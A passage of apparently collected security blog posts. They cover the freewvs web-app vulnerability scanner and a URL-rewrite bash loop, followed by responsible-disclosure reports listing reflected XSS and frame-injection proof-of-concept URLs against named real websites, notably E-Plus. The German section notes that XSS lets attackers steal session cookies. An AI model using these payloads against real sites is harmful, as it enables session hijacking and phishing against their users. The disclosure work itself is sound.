Seems with the latest versions of webkit-gtk and midori, a long-standing crasher-bug got fixed and it now allows you to run the browser-test ACID3.

I just bumped the webkit-gtk ebuild in Gentoo to the latest snapshot.

ACID3 is a test for the standards compliance of modern web browsers. I wrote about ACID2 some years ago.

One of the biggest threats in computer security today are web applications. There's a vast number of issues found in popular web apps, mostly cross site scripting, cross site request forgery and sql injection. For a long time I had the idea of a tool scanning through webroots and looking for popular web applications, comparing them with a database of their latest security issues. In the past weeks, I finaly managed to get some code done.

It's a quite simple python-script (don't cry about the source quality, I haven't done real coding for ages), together with a database of some popular applications. I'm looking forward to hear feedback. The usage is simple, just do something like this:
freewvs /home/joe/websites/foo /home/guest/websites/bar
Typical output looks like this:
WebsiteBaker 2.4.3 (2.6.5) CVE-2007-0527 /home/hanno/freewvs/test/websitebaker
Drupal 5.1 (5.3) CVE-2007-5416 /home/hanno/freewvs/test/drupal
PhpWebGallery 1.5.1 () CVE-2007-5012 /home/hanno/freewvs/test/phpwebgallery
Mostly self explaining. The found app at the beginning, the version where the issue was fixed in brackets, the CVE-ID (or some other vulnerability id, in doubt an URL) and the path.

The biggest work to do is probably to get more applications added to the database and to keep the database updated. It's format is pretty self-explaining, so I'm waiting for your patches.

Get it here: http://source.schokokeks.org/freewvs/

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

Up until recently, I had URLs of the form /item/number, which is due to the reason that this was the URL-naming-scheme of bblog, an ancient blogging software I used years back. Now serendipity supports URLs with the title (minus problematic charakters), which is much better for search engines, because they often rate words that appear in the url better. Now, changing the URL after years of blogging doesn't seem appropriate (probably hundreds of links, trackbacks, bookmarks), so I needed some migration path. Serendipity doesn't support two url schemes out of the box, so I hacked some bash to do the trick. This will generate (after changing the url) forward rules (add them to .htaccess after the s9y-stuff), which send a »moved permanently«-answer. This has do be done only once, as there won't be links on new articles with the old scheme.
It's a fast hack and it probably doesn't fit in other situations without changes, but it's a nice example how fast you get somewhere with some bash and sed magic:

for i in `seq 1 31`; do

        wget --quiet -O - http://www.hboeck.de/archives/P$i.html|grep serendipity_title | \

        sed -e 's:^.*href="\([^"]*\)">.*$:\1:g' | \

        sed -e 's:^/\w*/\(\w*\)-.*:RewriteRule ^item/\1 \0 [L,R=301]:g'

done

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com

Von XSS (Cross Site Scripting) spricht man, wenn es durch Usereingaben möglich ist, bei einer Seite eigenen HTML und JavaScript-Code einzufügen. Das ist insbesondere dann ein Problem, wenn die Seite (auf der selben Domain reicht) in irgendeiner Weise Sessions und Accounts nutzt. Warum? Weil es trivial möglich ist, mit etwas JavaScript-Code das Session-Cookie zu übertragen und somit den Account zu hijacken.

Ein simples Beispiel:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>

Durch die bloße Eingabe von "><script>alert(1)</script> oder <script>alert(1)</script> lässt sich jedes Formular auf triviale XSS-Probleme checken (einfach mal ausprobieren).

Problemfall Frames: Aufgrund der Tatsache, dass ein bestimmter Framezustand nicht in einer URL festhaltbar ist, haben sich viele Menschen mehr oder weniger sinnvolle Fakes ausgedacht, die dann häufig in der Form http://mydomain.com/framescript?location=siteinframe daherkommen.
Nun kann man sowas ausnutzen, um in einem Frame eine Fremdseite darzustellen. Bis vor kurzem funktionierte dies noch:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
Kurze Zeit später wurde selbiges gefiltert, mit folgendem kam man aber immer noch weiter:
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com
Gehen inzwischen alle nicht mehr.
Problem? Phishing. Funktioniert selbiges bei einer Bank oder einem sonstigen Unternehmen, bei dem größere Beträge eine Rolle spielen, ist es für Phisher attraktiv, unbedarften Menschen eine Nachricht zu schicken, die eine echt aussehende URL des Unternehmens enthält.

Was bei obriger URL nach wie vor funktioniert, ist eine etwas trickreichere JavaScript-Injection:
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('
Das schöne hierbei ist, dass die Variable direkt in bereits bestehenden JavaScript-Code eingefügt wird.

Desweiteren hat eplus noch mehr Domains und anderswo funktioniert es noch:
http://www.eplus-unlimited.de/3_1_jingles/index.jsp?toLoad=http://www.google.de//

E-Plus wurde vor über einem Monat mit den ersten Lücken kontaktiert. Die Schließung erfolgte schleppend, weswegen mir die Veröffentlichung hier angemessen erscheint. Die Veröffentlichung wurde vor einer Woche angekündigt. Es wurden keine Lücken publiziert, von denen E-Plus nicht schon mindestens vor einer Woche bescheid wusste.

Credits gehen vor allem an Alexander Brachmann.

In aller Regel betreibe ich Responsible Disclosure: Vor einer öffentlichen Publizierung wird der Anbieter oder Autor der Software mit Vorlauf informiert.

Heut abend beim Webmontag gibt's ne Kurz-Präsentation.